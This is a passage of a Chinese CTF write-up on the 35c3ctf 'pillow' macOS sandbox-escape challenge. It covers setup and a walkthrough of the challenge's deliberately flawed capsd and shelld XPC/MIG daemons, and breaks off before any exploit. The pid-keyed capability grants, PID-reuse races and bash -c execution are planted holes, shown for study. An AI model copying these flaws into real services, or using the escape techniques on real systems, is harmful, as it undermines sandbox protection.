3

35c3ctf pillow Writeup

 2 years ago
source link: https://kiprey.github.io/2022/01/35c3ctf_pillow/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
  • pillow,是 35c3ctf 中的一道关于 macOS bootstrap Service 沙箱逃逸题目。本人将通过学习这一题来进一步了解Mac OSX XPC 和 Sandbox 机制。

  • 该题中包含了两个自定义 macOS 系统服务。要求攻击者劫持两个 XPC 服务之间的 IPC 连接,以达到沙箱逃逸的目的。

  • 题目链接 : pillow - 35c3ctf github

二、环境搭建

在 MacOS 环境下:

  • 编译(可以提前在 Makefile 中添加 -g -O0 编译标志)

    git clone [email protected]:saelo/35c3ctf.git
    cd 35c3ctf/pillow/capsd
    make
    cd ../shelld
    make
  • 使用 launchd 启动编译出的两个服务

    • 首先,修改 distrib/System/Library/LaunchDaemons/ 中的两个 plist, 将文件中的 Program 条目替换成两个 XPC service 编译出的路径。诸如:

      [...]
      <key>Program</key>
      <string>/Users/kiprey/Desktop/CTF/35c3ctf/pillow/capsd/capsd</string>
      [...]
    • 之后,令 launchd 启动这两个服务

      sudo chown root:wheel pillow/distrib/System/Library/LaunchDaemons/*.plist
      sudo launchctl bootstrap system pillow/distrib/System/Library/LaunchDaemons/*.plist
    • 如果要关闭服务则可以执行

      sudo launchctl bootout system pillow/distrib/System/Library/LaunchDaemons/*.plist

    可以通过 log show --predicate 'processID == 1' --last 1h 来查看 launchd 的输出信息。

  • 配置执行 exploit 程序环境

    题目已经说明 exploit 位于沙箱中,因此这里也模拟一下。

    • 首先找到 exploit 所使用的沙箱配置文件,这个文件位于 pillow/exploit/exploit.sb

      (version 1)
      (deny default)

      (import "system.sb")

      ; TODO enter correct path here
      (allow process-exec (literal (param "EXPLOIT_BIN")))
      (allow process-fork)

      (allow mach-lookup (global-name "net.saelo.shelld"))
      (allow mach-lookup (global-name "net.saelo.capsd"))
      (allow mach-lookup (global-name "net.saelo.capsd.xpc"))

      这里的沙箱配置只允许 forkexec exploit 以及 mach lookup 题目所提供的三个服务。

    • 之后使用以下命令执行 exploit

      # 注:传入的 EXPLOIT_BIN 路径必须为 **绝对** 路径
      sandbox-exec -f ./exploit.sb -D EXPLOIT_BIN=/Users/kiprey/Desktop/CTF/35c3ctf/pillow/exploit/myexploit ./myexploit

      这样,一个不符合沙箱限制的操作将会被拒绝:

      #include <stdio.h>
      #include <stdlib.h>
      #include <unistd.h>

      int main() {
      printf("[+] Try running /bin/ls, this operation must be denied!\n");

      char path[] = "/bin/ls";
      char arg1[] = "/";
      char * const exec_argv [] = { path, arg1, NULL };
      char * const exec_env [] = { NULL };
      execve(path, exec_argv, exec_env);

      perror("myexploit-execve");
      exit(EXIT_FAILURE);
      }

      运行结果:

      image-20220108155133031

  • 设置 flag 类型,使普通用户不可读(可选),这一步只是做个简单的测试,没有什么实际意义

    sudo chown root:wheel ./flag
    sudo chmod 640 ./flag

    但需要注意的是,被 launchd 启动的守护进程是可以读取这个高权限 flag 的

    以下是用于验证的代码:

    FILE* flag = fopen("/Users/kiprey/Desktop/CTF/35c3ctf/pillow/flag", "r");
    char buf[100];
    size_t len = fread(buf, 1, sizeof(buf), flag);
    os_log(OS_LOG_DEFAULT, "flag read len: %zu, flag: [%{public}s]", len, buf);

    日志输出:

    image-20220106234900069

三、代码研究

1. capsd

我们首先简单看看 MIG 中的接口。

a. capsd.defs

代码很短:

subsystem capsd 733100;

#include <mach/std_types.defs>
#include <mach/mach_types.defs>
#include <mach_debug/mach_debug_types.defs>

import "../common/types.h";

type string = c_string[*:1024];

routine grant_capability(server: mach_port_t; ServerAuditToken token: audit_token_t; target: audit_token_t; operation: string; arg: string);
routine has_capability(server: mach_port_t; pid: int; operation: string; arg: string; out result: int);

可以看到这里只定义了两个函数 grant_capabilityhas_capability 函数。这两个函数可以被 Client 远程调用至 Server 上的实现。

b. capsd.c

1) capsd main 函数
  • 初始时,capsd 会先输出一条信息,以说明当前守护进程已经开始执行:

    os_log(OS_LOG_DEFAULT, "net.saelo.capsd starting");

    但这条信息并没有那么方便读取到。我们首先得先从 launchd 的日志中获取到 capsd 的 pid 号:

    $ log show --predicate 'processID == 0' --last 1h | grep "capsd"

    [...]

    2022-01-05 17:00:03.199483+0800 0x7c716 Default 0x0 1 0 launchd: [net.saelo.capsd:] This service is defined to be constantly running and is inherently inefficient.
    2022-01-05 17:00:03.199525+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd:] internal event: WILL_SPAWN, code = 0
    2022-01-05 17:00:03.199537+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd:] service state: spawn scheduled
    2022-01-05 17:00:03.199539+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd:] service state: spawning
    2022-01-05 17:00:03.199626+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd:] launching: speculative
    2022-01-05 17:00:03.200004+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] xpcproxy spawned with pid 32099
    2022-01-05 17:00:03.200033+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] internal event: SPAWNED, code = 0
    2022-01-05 17:00:03.200035+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] service state: xpcproxy
    2022-01-05 17:00:03.200138+0800 0x7c716 Default 0x0 1 0 launchd: [system:] Bootstrap by launchctl[32098] for /Users/kiprey/Desktop/CTF/35c3ctf/pillow/distrib/System/Library/LaunchDaemons/net.saelo.capsd.plist succeeded (0: )
    2022-01-05 17:00:03.200197+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] internal event: SOURCE_ATTACH, code = 0
    2022-01-05 17:00:03.202699+0800 0x7c8af Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] service state: running
    2022-01-05 17:00:03.202725+0800 0x7c8af Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] internal event: INIT, code = 0
    2022-01-05 17:00:03.202730+0800 0x7c8af Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] Successfully spawned capsd[32099] because speculative

    我们可以很容易的获取到 capsd 的 pid 为 32099,因此我们继续执行以下命令来查看该程序的 log:

    $ log show --predicate 'processID == 32099' --last 1h

    Filtering the log data using "processIdentifier == 32099"
    Skipping info and debug messages, pass --info and/or --debug to include.
    Timestamp Thread Type Activity PID TTL
    2022-01-05 17:00:03.205538+0800 0x7c8bc Default 0x0 32099 0 capsd: net.saelo.capsd starting
    --------------------------------------------------------------------------------------------------------------------
    Log - Default: 1, Info: 0, Debug: 0, Error: 0, Fault: 0
    Activity - Create: 0, Transition: 0, Actions: 0

    可以看到成功读取到 capsd 的输出。

  • 接下来,capsd 会使用默认参数,生成一个 空的 CFDictionary 字典

    capabilities_by_pid = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);

    需要注意的是,这个字典是全局变量,因此它会在其他上下文中被使用。

  • 之后,capsd 获取 bootstrap port,并把反向 DNS 样式的名称 “net.saelo.capsd” 注册进 bootstrap 中,以备其他进程所使用:

    mach_port_t bootstrap_port, service_port;
    task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);

    kr = bootstrap_check_in(bootstrap_port, "net.saelo.capsd", &service_port);
    ASSERT_MACH_SUCCESS(kr, "bootstrap_check_in");

    接下来这步稍微复杂了一点,它指定 capsd_server 函数来处理 service_port 中即将到来的 mach message,即将 service_port 中的事件分发到 capsd_server 中进行处理;之后开始异步执行 mach 事件分发操作:

    需要注意的是这里使用 MIG 来生成其余的 mach 信息交互代码,隐藏了 Mach 通信的内部细节。

    dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, service_port, 0, dispatch_get_main_queue());

    dispatch_source_set_event_handler(source, ^{
    dispatch_mig_server(source, MAX_MSG_SIZE, capsd_server);
    });

    dispatch_resume(source);
  • capsd 除了建立 mach message server 以外,它还建立了一个 XPC Service:

    // Set up XPC service
    xpc_connection_t service = xpc_connection_create_mach_service("net.saelo.capsd.xpc", NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER);
    xpc_connection_set_target_queue(service, dispatch_get_main_queue());

    xpc_connection_set_event_handler(service, ^(xpc_object_t connection) {
    if (xpc_get_type(connection) == XPC_TYPE_CONNECTION) {
    xpc_connection_set_target_queue(connection, dispatch_get_main_queue());
    xpc_connection_set_event_handler(connection, ^(xpc_object_t msg) {
    [XPC_message_event_handler]
    });
    xpc_connection_resume(connection);
    } else {
    char* description = xpc_copy_description(connection);
    os_log(OS_LOG_DEFAULT, "Received unexpected event: %{public}s\n", description);
    free(description);
    }
    });
    xpc_connection_resume(service);

    这个 XPC Service 实际处理 XPC message 的方式如下所示。

    根据代码描述可以得知,传入的 XPC Message 应该是一个字典类型 xpc_dictionary,且有 action(uint64_t)、pid(int64_t)、operation (string)以及 argument(string) 四个 key 值。而返回给调用方的是一个只有 success 键值对的字典。

    if (xpc_get_type(msg) == XPC_TYPE_DICTIONARY) {
    xpc_object_t reply = xpc_dictionary_create_reply(msg);
    if (!reply)
    return;

    int action = xpc_dictionary_get_uint64(msg, "action");

    if (action == ACTION_GRANT_CAPABILITY) {
    audit_token_t creds;
    // TODO check xpc_dictionary_set_audit_token
    xpc_dictionary_get_audit_token(msg, &creds);
    pid_t target = xpc_dictionary_get_int64(msg, "pid");
    const char* operation = xpc_dictionary_get_string(msg, "operation");
    const char* argument = xpc_dictionary_get_string(msg, "argument");

    if (operation && argument) {
    xpc_dictionary_set_bool(reply, "success", grant_capability_internal(creds, target, operation, argument) == KERN_SUCCESS);
    } else {
    xpc_dictionary_set_bool(reply, "success", false);
    }
    } else if (action == ACTION_HAS_CAPABILITY) {
    pid_t target = xpc_dictionary_get_int64(msg, "pid");
    const char* operation = xpc_dictionary_get_string(msg, "operation");
    const char* argument = xpc_dictionary_get_string(msg, "argument");
    xpc_dictionary_set_bool(reply, "success", has_capability_internal(target, operation, argument));
    } else {
    xpc_dictionary_set_bool(reply, "success", false);
    }

    xpc_connection_send_message(connection, reply);
    } else {
    if (xpc_get_type(msg) != XPC_TYPE_ERROR || msg != XPC_ERROR_CONNECTION_INVALID) {
    char* description = xpc_copy_description(msg);
    os_log(OS_LOG_DEFAULT, "Received unexpected event on connection: %{public}s\n", description);
    free(description);
    }
    }

    handler 会根据传入的 xpc 请求来进行不同的操作:获取权限查看当前是否有权限

    这里记录下 handler 调用的两个函数:grant_capability_internalhas_capability_internal

2) has/grand_capability 函数

has_capabilitygrand_capability 函数没有在 capsd.c 中直接调用,它们是先前声明的 MIG 远程调用接口的实现。

可以看到,最终这两个函数也是调用上面刚刚提到的 *_internal 函数,因此实际上 capsd 中的 mach server 和 xpc service 最终提供给 client 的接口都是这两个接口,一模一样。

kern_return_t grant_capability(mach_port_t server, audit_token_t token, pid_t target, const char* op, const char* arg) {
return grant_capability_internal(token, target, op, arg);
}

kern_return_t has_capability(mach_port_t server, pid_t pid, const char* op, const char* arg, int* out) {
*out = has_capability_internal(pid, op, arg);
return KERN_SUCCESS;
}
3) get_or_create_capabilities_for_pid 函数

该函数是两个 internal 函数的辅助函数。还记得先前提到的一个在 main 函数进行初始化字典类型全局变量 capabilities_by_pid 么?这里将会对它进行查询或添加操作。

这个函数代码很短,先把代码贴出来:

CFMutableDictionaryRef get_or_create_capabilities_for_pid(pid_t pid) {
// Check if the process exists. This is racy though...
if (kill(pid, 0) != 0 && errno == ESRCH) {
return NULL;
}
// 创建一个 CFNumber 类型的 key 值引用,且该值初始化为传入的 pid
CFNumberRef key = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pid);
// 创建一个 CF 字典类型的引用,注意这只是一个引用
CFMutableDictionaryRef capabilities;
/* 判断:这个 key 值是否已经在 capabilities_by_pid 字典中了(即先前是否已经添加过该 pid 了)
如果存在,则将该 key 值所对应的 value (也是一个字典类型的值)的引用存入 capabilities 变量中 */
if (!CFDictionaryGetValueIfPresent(capabilities_by_pid, key, (const void**)&capabilities)) {
// 如果发现该 pid 不存在与全局字典中,则手动建立一个 value
capabilities = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
// 并将该 key value 键值对存入全局字典里
CFDictionaryAddValue(capabilities_by_pid, key, capabilities);
CFRelease(capabilities);
// 这里稍微有点难懂,不过整体的意思是,注册一个 handler,当子进程退出时,自动释放那些存入的键值对
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_PROC, pid, DISPATCH_PROC_EXIT, dispatch_get_main_queue());
dispatch_source_set_event_handler(source, ^{
os_log(OS_LOG_DEFAULT, "cleaning up capabilities for dead client %d", pid);

CFDictionaryRemoveValue(capabilities_by_pid, key);

CFRelease(key);

dispatch_source_cancel(source);
dispatch_release(source);
});
dispatch_resume(source);
} else {
// 如果有,则无事发生,将取出来对应于该 pid 的 capabilities 字典返回给调用者
CFRelease(key);
}
// 总而言之,这里一定会返回一个全局字典中对应于传入 key 值的一个 value 字典
return capabilities;
}

初始时,该函数将判断传入的 pid 所在进程是否仍然存活。如果目标进程已经死亡,则没意义再创建一个 capability 字典了。

向某个进程发送 0 号信号时,不会发送任何信号,但是会进行错误检查。

这里的 ESRCH 是 进程不存在的错误代码。如果指定 pid 不存在则 kill -0 将会返回 ESRCH。

如果存活,则判断全局字典中是否存在目标 pid 的键值对。如果存在则将其 value 引用返回给调用者,否则新建一个**(pid, capabilities)键值对**,并将其插入至全局字典中,最后返回 value 的引用

4) grant_capability_internal 函数

grant_capability_internal 函数应该算是整个 capsd 的核心函数,不过代码也很短:

kern_return_t grant_capability_internal(audit_token_t token, pid_t target, const char* op, const char* arg) {
// 向 sandbox 请求 token 所对应进程中,指定 op 和 arg 所请求的权限
if (sandbox_check_by_audit_token(token, op, SANDBOX_CHECK_NO_REPORT, arg, NULL, NULL, NULL) == 0) {
// 权限请求成功,则获取或创建一个对应于传入 pid 的 capabilities 字典
CFMutableDictionaryRef capabilities = get_or_create_capabilities_for_pid(target);
if (!capabilities)
return KERN_FAILURE;
// 将传入的 op 和 arg 全转换成 CFStringRef 形式
CFStringRef operation = CFStringCreateWithCString(kCFAllocatorDefault, op, kCFStringEncodingASCII);
CFStringRef argument = CFStringCreateWithCString(kCFAllocatorDefault, arg, kCFStringEncodingASCII);
// 尝试获取 capabilities 中,键 operation 对应的值 arguments 集合
CFMutableSetRef arguments;
if (!CFDictionaryGetValueIfPresent(capabilities, operation, (const void**)&arguments)) {
// 如果没有,则新建一个 arguments 集合,并将其插入进 capabilities中
arguments = CFSetCreateMutable(kCFAllocatorDefault, 0, &kCFTypeSetCallBacks);
CFDictionaryAddValue(capabilities, operation, arguments);
CFRelease(arguments);
}
// 将新的 arguments 插入进 capabilities 里 operation 键所对应的 arguments 集合中
CFSetSetValue(arguments, argument);

CFRelease(operation);
CFRelease(argument);
return KERN_SUCCESS;
} else {
return KERN_FAILURE;
}
}

在这里,我们已经可以理清所有使用到的数据结构:

  • Server 接收到的 XPC 消息结构

    {
    "action" : ACTION_GRANT_CAPABILITY / ACTION_HAS_CAPABILITY,
    "operation" : "str type operation",
    "argument" : "str type argument"
    }
  • Server 返回的信息结构

    {
    "success" : 0/1
    }
  • 全局字典 capabilities_by_pid 结构:

    {
    pid_1 : [
    operation_1 : [
    argument_1,
    argument_2,
    ...
    ],
    operation_2 : [
    argument_1,
    argument_2,
    ...
    ],
    ...
    ],
    pid_2 : [
    operation_1 : [
    argument_1,
    argument_2,
    ...
    ],
    operation_2 : [
    argument_1,
    argument_2,
    ...
    ],
    ...
    ],
    ...
    }

不过这不是重点。注意到 sandbox_check_by_audit_token 函数的第一个参数 token 是由 grant_capability_internal 函数传入的:

kern_return_t grant_capability_internal(audit_token_t token, pid_t target, const char* op, const char* arg) {
if (sandbox_check_by_audit_token(token, op, SANDBOX_CHECK_NO_REPORT, arg, NULL, NULL, NULL) == 0) {
...
}
...
}

而 grant_capability_internal 函数的第一个参数,是直接与信息发送方挂钩:

audit_token_t creds;
// TODO check xpc_dictionary_set_audit_token
xpc_dictionary_get_audit_token(msg, &creds);
...

if (...) {
xpc_dictionary_set_bool(reply, "success", grant_capability_internal(creds, ...) == KERN_SUCCESS);
}
...

因此,传入 grant_capability_internal 函数的 pid,只是起到了一个键的作用,真正用于判断 sandbox 的则是 audit token。正常情况下消息发送者的 pid 理应和发送请求中的 pid 相同(即发送者应该发送自己的 PID 给 service)。

最后再说明一下sandbox_check_by_audit_token 函数,这个函数几乎没有任何说明文档可供查阅:

  • 作用:检查某些操作是否允许在沙箱返回内执行,如果允许则返回 0,即 DECISION_ALLOW

  • 函数定义:

    extern int SANDBOX_CHECK_NO_REPORT;
    int sandbox_check_by_audit_token(audit_token_t token, const char* operation, int flags, ...);
  • 函数参数:

    • 通常 flags 为 SANDBOX_CHECK_NO_REPORT,这表示以静默方式检查沙箱权限,不输出任何信息
  • operation 指向一个 沙箱权限规则字符串(类似scheme的语言,因此 scheme 语法很有用),我们可以在 OSX Sandbox Rule Set 中获得更多有用的沙箱权限规则描述示例。

    • flags 后面 var_args 参数中的内容与 operation相关,例如:
    // mach-lookup com.apple....
    int port_denied = sandbox_check(pid, "mach-lookup", SANDBOX_CHECK_NO_REPORT, "com.apple....");

    // file-read-data path/to/file
    int read_denied = sandbox_check(pid, "file-read-data", SANDBOX_CHECK_NO_REPORT, "path/to/file");

c. client.c

client 执行的操作很简单,此处略过说明:

int main(int argc, const char *argv[]) {
// 与 capsd 建立 xpc 连接
xpc_connection_t connection = xpc_connection_create_mach_service("net.saelo.capsd.xpc", NULL, 0);
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
});
xpc_connection_resume(connection);

pid_t pid;
puts("Enter pid:");
scanf("%d", &pid);

printf("Adding capability 'process-exec*' for resource '/bin/bash' to process %d\n", pid);
// 创建 XPC 消息字典
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_uint64(msg, "action", ACTION_GRANT_CAPABILITY);
xpc_dictionary_set_int64(msg, "pid", pid);
xpc_dictionary_set_string(msg, "operation", "process-exec*");
xpc_dictionary_set_string(msg, "argument", "/bin/bash");
// 发送并等待 server 的返回信息
xpc_object_t reply = xpc_connection_send_message_with_reply_sync(connection, msg);
// 将返回信息输出
char* description = xpc_copy_description(reply);
printf("Reply: %s\n", description);

return 0;
}

运行效果:

image-20220108135557134

综合上面的代码,我们可以了解到,capsd 对 mach IPC 和 XPC 都提供了两个接口 grand_capabilityhas_capability

其中, grand_capability 函数会判断消息发送方请求的沙箱权限是否被允许,如果是,则将其添加进全局字典中。

grand 操作就指的是将请求的 op 和 args 添加进全局字典的这个操作,而并非实际分配了一个新权限。

若下一次有请求判断某个 pid 是否有特定的沙箱权限时(has_capability),capsd 只会检查全局字典中是否有先前所保存的 op 和 args,并根据检查结果返回。

接下来我们再看看 shelld。

2. shelld

a. shelld.defs

这里定义了4个接口,分别是 shelld_create_sessionshell_execregister_completion_listenerunregister_completion_listener。接口具体用法后面再说,干看 defs 也看不出来。

subsystem shelld 133700;

#include <mach/std_types.defs>
#include <mach/mach_types.defs>
#include <mach_debug/mach_debug_types.defs>

import "../common/types.h";

type string = c_string[*:4096];

routine shelld_create_session(server: mach_port_t; name: string; ServerAuditToken token: audit_token_t);
routine shell_exec(server: mach_port_t; session: string; command: string; ServerAuditToken token: audit_token_t);
routine register_completion_listener(server: mach_port_t; session: string; listener: mach_port_t; ServerAuditToken token: audit_token_t);
routine unregister_completion_listener(server: mach_port_t; session: string; ServerAuditToken token: audit_token_t);

b. shelld_client.defs

定义了接口 shelld_client_notify,目测可能是 Server 用于通知 Client 的。

subsystem shelld_client 133800;

#include <mach/std_types.defs>
#include <mach/mach_types.defs>
#include <mach_debug/mach_debug_types.defs>

import "../common/types.h";

type string = c_string[*:4096];

routine shelld_client_notify(listener: mach_port_t; status: int; output: string);

c. shelld.c

1) shelld main 函数

main 函数做了以下几件事情:

  1. 创建了一个全局字典 sessions
  2. 创建一个权限为 rwxrwxrwx 的文件夹 /private/tmp/shelld
  3. 从 bootstrap 中获取到 capsd 所注册的 mach port,同时将自己的 mach port 注册进 bootstrap 中。
  4. 为自己的 mach port 设置 MIG 的处理例程。
int main(int argc, const char *argv[]) {
kern_return_t kr;
mach_port_t bootstrap_port, service_port;

sessions = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);

mkdir("/private/tmp/shelld", 0777);

task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);

kr = bootstrap_look_up(bootstrap_port, "net.saelo.capsd", &capsd_service_port);
ASSERT_KERN_SUCCESS(kr, "bootstrap_look_up");

kr = bootstrap_check_in(bootstrap_port, "net.saelo.shelld", &service_port);
ASSERT_KERN_SUCCESS(kr, "bootstrap_check_in");

dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, service_port, 0, dispatch_get_main_queue());

dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, shelld_server);
});

dispatch_resume(source);
dispatch_main();
exit(-1);
}
2) register_completion_listener 函数

该函数的作用比较简单,初始时将 sessions 全局字典中找出符合 session_name 和 client 的字典,并将传入的 listener 的 mach port 存入进去。

kern_return_t register_completion_listener(mach_port_t server, const char* session_name, mach_port_t listener, audit_token_t client) {
CFMutableDictionaryRef session = lookup_session(session_name, client);
if (!session) {
mach_port_deallocate(mach_task_self(), listener);
return KERN_FAILURE;
}

CFNumberRef value = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &listener);
CFDictionaryAddValue(session, CFSTR("listener"), value);
CFRelease(value);

return KERN_SUCCESS;
}

CFMutableDictionaryRef lookup_session(const char* name, audit_token_t client) {
CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault, name, kCFStringEncodingASCII);

CFMutableDictionaryRef session = NULL;
if (CFDictionaryGetValueIfPresent(sessions, key, (const void**)&session)) {
CFNumberRef cf_owner_pid = CFDictionaryGetValue(session, CFSTR("pid"));
int owner_pid;
ASSERT(CFNumberGetValue(cf_owner_pid, kCFNumberSInt32Type, &owner_pid));
if (owner_pid != audit_token_to_pid(client))
session = NULL;
}

CFRelease(key);

return session;
}

此时可以暂时确定 sessions 字典的结构为:

{
"session_name1" : {
"pid1" : "xxx",
"listener" : "<mach_port_t>"
},
[...]
}
3) unregister_completion_listener 函数

其行为与 register_completion_listener 相反,将 listener mach port 从 sessions 中移出。

kern_return_t unregister_completion_listener(mach_port_t server, const char* session_name, audit_token_t client) {
CFMutableDictionaryRef session = lookup_session(session_name, client);
if (!session)
return KERN_FAILURE;

return remove_listener(session);
}

kern_return_t remove_listener(CFMutableDictionaryRef session) {
CFNumberRef value;

if (CFDictionaryGetValueIfPresent(session, CFSTR("listener"), (const void**)&value)) {
mach_port_t listener;
ASSERT(CFNumberGetValue(value, kCFNumberSInt32Type, &listener));
mach_port_deallocate(mach_task_self(), listener);
CFDictionaryRemoveValue(session, CFSTR("listener"));
return KERN_SUCCESS;
} else {
return KERN_FAILURE;
}
}
4) shelld_create_session 函数

该函数主要是在全局字典 sessions 中创建一些结构体,具体的操作以注释的形式写入代码中:

kern_return_t shelld_create_session(mach_port_t server, const char* session_name, audit_token_t client) {
// 约束 session name 只能是字母或数字
for (const char* ptr = session_name; *ptr; ptr++) {
if (!isalnum(*ptr)) {
os_log(OS_LOG_DEFAULT, "shelld: denying invalid session name: %s", session_name);
return KERN_FAILURE;
}
}
// 不能重复创建相同名称的 session
CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault, session_name, kCFStringEncodingASCII);
if (CFDictionaryContainsKey(sessions, key)) {
os_log(OS_LOG_DEFAULT, "shelld: session already exists: %s", session_name);
CFRelease(key);
return KERN_FAILURE;
}
// 创建 session 字典,并将其添加进全局 sessions 中
CFMutableDictionaryRef session = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
CFDictionaryAddValue(sessions, key, session);
// 将 audit token 对应的 pid 放入 session 字典中
pid_t pid = audit_token_to_pid(client);

CFNumberRef cf_pid = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pid);
CFDictionaryAddValue(session, CFSTR("pid"), cf_pid);
CFRelease(cf_pid);
// 为当前创建的 session 新建一个文件夹
char workdir[1024];
snprintf(workdir, sizeof(workdir), "/private/tmp/shelld/%s", session_name);
mkdir(workdir, 0777);

// Note: this is racy: the client could exit and spawn a priviliged process into its PID before the server
// gets here... Not too easy to exploit though from inside the sandbox so should be fine for a CTF :)
// 设置传入pid所对应进程结束时的清除操作
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_PROC, pid, DISPATCH_PROC_EXIT, dispatch_get_main_queue());
dispatch_source_set_event_handler(source, ^{
os_log(OS_LOG_DEFAULT, "shelld: cleaning up session for dead client %d", pid);

remove_listener(session);
CFDictionaryRemoveValue(sessions, key);

// TODO unlink directory here as well

CFRelease(session);
CFRelease(key);

dispatch_source_cancel(source);
dispatch_release(source);
});
dispatch_resume(source);

return KERN_SUCCESS;
}
5) shell_exec 函数

接下来的这个函数可谓是重头戏,需要好好说明一下。

  1. 初始时,shelld 会判断传入的 command 是否为空。这里的 command 将被接下来所创建的子进程所使用,使用效果为 system(command),因此 command 不能为空。

    if (!command || strlen(command) == 0)
    return KERN_FAILURE;
  2. 接下来,判断信息发送者是否有权限执行 /bin/bash,因为子进程会调用 /bin/bash。

    // 判断传入的 creds 是否有权限执行 /bin/bash
    if (sandbox_check_with_capabilities(creds, "process-exec*", SANDBOX_CHECK_NO_REPORT, "/bin/bash")) {
    os_log(OS_LOG_DEFAULT, "shelld: denying request to sandboxed client %d\n", audit_token_to_pid(creds));
    return KERN_FAILURE;
    }

    其中的 sandbox_check_with_capabilities 函数的操作如下:

    int sandbox_check_with_capabilities(audit_token_t creds, const char* operation, int flags, const char* arg) {
    // 如果发送方本来就可以执行这个操作
    int result = sandbox_check_by_audit_token(creds, operation, flags, arg);
    if (result != 1) {
    // 则直接返回0 ,表示允许执行
    return result;
    }
    // 如果发送方不支持执行这个操作,则向 capsd 询问发送方之前是否请求了这个权限
    int client_has_capability = 0;
    pid_t pid = audit_token_to_pid(creds);
    has_capability(capsd_service_port, pid, operation, arg, &client_has_capability);
    // 如果 capsd 中的权限存在,即 client_has_capability ,则整个函数返回0,表示允许执行操作
    return !client_has_capability;
    }
  3. 之后,获取传入 session name 和 creds 所对应的 session,并创建一对管道。这对管道将用于重定向子进程的 stdout

    // 获取当前 creds 所对应的 session
    CFMutableDictionaryRef session = lookup_session(session_name, creds);
    if (!session)
    return KERN_FAILURE;
    // 创建一堆 rw pipe,这对 pipe 将用于重定向子进程的 stdout
    int fds[2];
    ASSERT(pipe(fds) == 0);
  4. 接下来便是创建子进程,我们看看子进程做了什么工作:

    // 创建新进程
    int pid = fork();
    if (pid == 0) {
    // 在子进程中
    char* argv[] = {"/bin/bash", "-c", (char*)command, NULL};
    char* envp[] = {"PATH=/bin:/usr/bin:/usr/sbin", NULL};
    // 切换子进程的工作目录为先前创建的 session 文件夹
    char cwd[1024];
    snprintf(cwd, sizeof(cwd), "/private/tmp/shelld/%s", session_name);
    chdir(cwd);
    // 主动进入沙箱
    char profile[4096];
    snprintf(profile, sizeof(profile), sb_profile_template, session_name);
    sandbox_init(profile, 0, NULL);
    // 重定向 stdout
    dup2(fds[1], STDOUT_FILENO);
    close(STDERR_FILENO);
    close(STDIN_FILENO);

    close(fds[0]);
    close(fds[1]);
    // 执行 bash
    execve("/bin/bash", argv, envp);
    _exit(-1);
    } else if (pid < 0) {
    return KERN_FAILURE;
    }

    可以看到,子进程先是切换了自己当前的工作目录,之后主动进入沙箱重定向 stdout,并最终执行 bash 程序。

    调用 sandbox_init 进入沙箱时,需要指定沙箱规则,我们看看子进程的沙箱规则模板是什么样的:

    const char* sb_profile_template =   "(version 1)\n"
    "(deny default)\n"
    "(import \"system.sb\")\n"
    "(allow process-fork)\n"
    "(allow file-read* file-write* (subpath \"/private/tmp/shelld/%s\"))\n"
    "(allow file-read-data file-write-data (subpath \"/dev/tty\"))\n"
    "(allow file-read* process-exec (subpath \"/bin/\"))\n"
    "(allow file-read* process-exec (subpath \"/usr/bin/\"))\n"
    "(allow file-read* process-exec (subpath \"/usr/sbin/\"))\n";

    这里配置了一些权限:

    • 使用白名单设置

    • 导入 /System/Library/Sandbox/Profiles/system.sb 中的系统权限,这之中允许了 诸如读取 /dev/null、/dev/zero 文件等常用权限。

    • 允许 fork

    • 允许对该 session 工作路径下一切文件任意信息读写操作

      这里的任意信息包括但不限于:文件数据、文件数据、文件扩展属性等等。

      即一个文件里所有能读的东西。

    • 允许对 /dev/tty 路径下任意文件的数据读取和写入操作

    • 允许对 /bin、/usr/bin、/usr/sbin 文件夹下任意文件读取与执行

  5. 回到父进程,接下来父进程注册子进程退出时的事件处理例程

    int rfd = fds[0];

    __block int running = true;

    // 注册进程退出时的清除事件
    os_log(OS_LOG_DEFAULT, "shelld: bash spawned: %d\n", pid);
    dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_PROC, pid, DISPATCH_PROC_EXIT, dispatch_get_main_queue());
    dispatch_source_set_event_handler(source, ^{
    running = false;
    handle_process_exited(pid, session, rfd);
    dispatch_source_cancel(source);
    dispatch_release(source);
    });
    dispatch_resume(source);

    注意到处理例程内部调用的 handle_process_exited 函数:

